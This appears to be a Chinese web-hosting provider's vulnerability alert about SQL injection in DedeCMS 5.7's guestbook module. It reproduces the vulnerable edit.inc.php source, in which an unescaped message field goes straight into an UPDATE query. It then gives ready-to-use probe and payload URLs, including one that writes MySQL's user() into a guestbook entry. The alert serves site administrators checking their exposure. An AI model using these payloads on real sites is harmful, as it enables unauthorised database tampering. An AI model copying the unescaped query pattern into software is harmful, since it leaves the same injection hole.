DEDECMS5.7版本利用GUESTBOOK.PHP来对SQL注射漏洞-漏洞预警
dedecms程序漏洞问题困扰了很多的站长,在今天有个用户因流量超出找过来,经过对a云网络主机php空间网站日志的分析,发现一个漏洞引发的可怕问题,在日志中体现到,如下图:
从这个日志来看,这个文件是很不正常的,但是很多站长不知道这个是漏洞在注射漏洞,这个影响的5.7版本的,该如何解决呢,找了很多资料发现还是有解决办法的。
漏洞文件edit.inc.php具体代码:
<?php /** * @version $Id: edit.inc.php 1 10:06 2010-11-10 tianya $ * @package DedeCMS.Site * @copyright Copyright (c) 2007 - 2010, DesDev, Inc. * @license http://help.dedecms.com/usersguide/license.html * @link http://www.dedecms.com */ if(!defined('DEDEINC')) exit('Request Error!'); if(!empty($_COOKIE['GUEST_BOOK_POS'])) $GUEST_BOOK_POS = $_COOKIE['GUEST_BOOK_POS']; else $GUEST_BOOK_POS = "guestbook.php"; $id = intval($id); if(empty($job)) $job='view'; if($job=='del' && $g_isadmin) { $dsql->ExecuteNoneQuery(" DELETE FROM `dede_guestbook` WHERE id='$id' "); ShowMsg("成功删除一条留言!", $GUEST_BOOK_POS); exit(); } else if($job=='check' && $g_isadmin) { $dsql->ExecuteNoneQuery(" UPDATE `dede_guestbook` SET ischeck=1 WHERE id='$id' "); ShowMsg("成功审核一条留言!", $GUEST_BOOK_POS); exit(); } else if($job=='editok') { $remsg = trim($remsg); if($remsg!='') { //管理员回复不过滤HTML if($g_isadmin) { $msg = "<div class=\\'rebox\\'>".$msg."</div>\n".$remsg; //$remsg <br><font color=red>管理员回复:</font> } else { $row = $dsql->GetOne("SELECT msg From `dede_guestbook` WHERE id='$id' "); $oldmsg = "<div class=\\'rebox\\'>".addslashes($row['msg'])."</div>\n"; $remsg = trimMsg(cn_substrR($remsg, 1024), 1); $msg = $oldmsg.$remsg; } } $dsql->ExecuteNoneQuery("UPDATE `dede_guestbook` SET `msg`='$msg', `posttime`='".time()."' WHERE id='$id' "); ShowMsg("成功更改或回复一条留言!", $GUEST_BOOK_POS); exit(); } if($g_isadmin) { $row = $dsql->GetOne("SELECT * FROM `dede_guestbook` WHERE id='$id'"); require_once(DEDETEMPLATE.'/plus/guestbook-admin.htm'); } else { $row = $dsql->GetOne("SELECT id,title FROM `dede_guestbook` WHERE id='$id'"); require_once(DEDETEMPLATE.'/plus/guestbook-user.htm'); } |
注射漏洞成功需要条件如下:
1、php magic_quotes_gpc=off
2、漏洞文件:plus/guestbook.php 在数据库中:dede_guestbook也需要存在
该如何判断是否存在漏洞呢,请看下面测试,
首先打开:域名/plus/guestbook.php把鼠标放在 [回复/编辑] 上可以看到访问者留言的ID。则记下ID,访问:域名/plus/guestbook.php?action=admin&job=editok&msg=errs.cc’&id=存在的留言ID提交后,如果是dede5.7版本的话,会出现 “成功更改或回复一条留言” 那就证明修改成功了。
再返回到:域名/plus/guestbook.php 看下您所改的那条留言ID是否变为了 errs.cc’ 如果是的话,那就证明此漏洞无法再利用应为他开启:php magic_quotes_gpc=off
如果没有修改成功,那留言ID的内容还是以前的,那就证明漏洞可以利用。
那么再次访问:域名/plus/guestbook.php?action=admin&job=editok&id=存在的留言ID&msg=’,msg=user(),email=’然后返回,那条留言ID的内容就直接修改成了mysql 的user().